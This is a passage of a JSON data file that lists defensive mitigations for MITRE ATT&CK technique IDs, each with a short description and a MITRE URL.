modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1063", "mitigations": [{"name": "Security Software Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1080", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}]}, {"_id": "T1167", "mitigations": []}, {"_id": "T1527", "mitigations": [{"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}]}, {"_id": "T1180", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1165", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1137", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}]}, {"_id": "T1089", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1487", "mitigations": [{"name": "Data Backup", "description": "Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", "url": "https://attack.mitre.org/mitigations/M1053"}]}, {"_id": "T1214", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1119", "mitigations": [{"name": "Remote Data Storage", "description": "Use remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.", "url": "https://attack.mitre.org/mitigations/M1029"}, {"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}]}, {"_id": "T1115", "mitigations": [{"name": "Clipboard Data Mitigation", "description": "Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1103", "mitigations": [{"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1007", "mitigations": [{"name": "System Service Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1040", "mitigations": [{"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}]}, {"_id": "T1017", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}]}, {"_id": "T1530", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}]}, {"_id": "T1135", "mitigations": [{"name": "Network Share Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1120", "mitigations": [{"name": "Peripheral Device Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1082", "mitigations": [{"name": "System Information Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1071", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1053", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}]}, {"_id": "T1162", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1176", "mitigations": [{"name": "Limit Software Installation", "description": "Block users or groups from installing unapproved software.", "url": "https://attack.mitre.org/mitigations/M1033"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1106", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1058", "mitigations": [{"name": "Restrict Registry Permissions", "description": "Restrict the ability to modify certain hives or keys in the Windows Registry.", "url": "https://attack.mitre.org/mitigations/M1024"}]}, {"_id": "T1202", "mitigations": [{"name": "Indirect Command Execution Mitigation", "description": "Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable and/or limit user access to Windows utilities and file types/locations used to invoke malicious execution.(Citation: SpectorOPs SettingContent-ms Jun 2018)", "url": ""}]}, {"_id": "T1024", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1536", "mitigations": []}, {"_id": "T1091", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Limit Hardware Installation", "description": "Block users or groups from installing or using unapproved hardware on systems, including USB devices.", "url": "https://attack.mitre.org/mitigations/M1034"}]}, {"_id": "T1005", "mitigations": [{"name": "Data from Local System Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1140", "mitigations": [{"name": "Deobfuscate/Decode Files or Information Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1195", "mitigations": [{"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Vulnerability Scanning", "description": "Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.", "url": "https://attack.mitre.org/mitigations/M1016"}]}, {"_id": "T1190", "mitigations": [{"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Vulnerability Scanning", "description": "Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.", "url": "https://attack.mitre.org/mitigations/M1016"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}]}, {"_id": "T1219", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1079", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1036", "mitigations": [{"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1055", "mitigations": [{"name": "Behavior Prevention on Endpoint", "description": "Use capabilities to prevent suspicious behavior patterns from occurring on endpoint systems. This could include suspicious process, file, API call, etc. behavior.", "url": "https://attack.mitre.org/mitigations/M1040"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1139", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1205", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1503", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1218", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1153", "mitigations": [{"name": "Source Mitigation", "description": "Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.", "url": ""}]}, {"_id": "T1038", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Restrict Library Loading", "description": "Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.", "url": "https://attack.mitre.org/mitigations/M1044"}]}, {"_id": "T1050", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1010", "mitigations": [{"name": "Application Window Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1032", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}, {"name": "SSL/TLS Inspection", "description": "Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.", "url": "https://attack.mitre.org/mitigations/M1020"}]}, {"_id": "T1062", "mitigations": [{"name": "Hypervisor Mitigation", "description": "Prevent adversary access to privileged accounts necessary to install a hypervisor.", "url": ""}]}, {"_id": "T1182", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1029", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1525", "mitigations": [{"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}]}, {"_id": "T1004", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1009", "mitigations": [{"name": "Binary Padding Mitigation", "description": "Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1076", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Limit Access to Resource Over Network", "description": "Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.", "url": "https://attack.mitre.org/mitigations/M1035"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1011", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1131", "mitigations": [{"name": "Privileged Process Integrity", "description": "Protect processes with high privileges that can be used to interact with critical system components through use of protected process light, anti-process injection defenses, or other process integrity enforcement measures.", "url": "https://attack.mitre.org/mitigations/M1025"}]}, {"_id": "T1181", "mitigations": [{"name": "Extra Window Memory Injection Mitigation", "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", "url": ""}]}, {"_id": "T1152", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1483", "mitigations": [{"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1185", "mitigations": [{"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1021", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}]}, {"_id": "T1207", "mitigations": [{"name": "DCShadow Mitigation", "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.", "url": ""}]}, {"_id": "T1107", "mitigations": [{"name": "File Deletion Mitigation", "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1145", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1112", "mitigations": [{"name": "Restrict Registry Permissions", "description": "Restrict the ability to modify certain hives or keys in the Windows Registry.", "url": "https://attack.mitre.org/mitigations/M1024"}]}, {"_id": "T1491", "mitigations": [{"name": "Data Backup", "description": "Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", "url": "https://attack.mitre.org/mitigations/M1053"}]}, {"_id": "T1535", "mitigations": [{"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}]}, {"_id": "T1155", "mitigations": [{"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}]}, {"_id": "T1217", "mitigations": [{"name": "Browser Bookmark Discovery Mitigation", "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1183", "mitigations": [{"name": "Image File Execution Options Injection Mitigation", "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", "url": ""}]}, {"_id": "T1085", "mitigations": [{"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}]}, {"_id": "T1031", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1092", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1222", "mitigations": [{"name": "File Permissions Modification Mitigation", "description": "This type of technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.", "url": ""}]}, {"_id": "T1179", "mitigations": [{"name": "Hooking Mitigation", "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", "url": ""}]}, {"_id": "T1019", "mitigations": [{"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Boot Integrity", "description": "Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.", "url": "https://attack.mitre.org/mitigations/M1046"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1042", "mitigations": [{"name": "Change Default File Association Mitigation", "description": "Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)", "url": ""}]}, {"_id": "T1117", "mitigations": [{"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}]}, {"_id": "T1164", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other 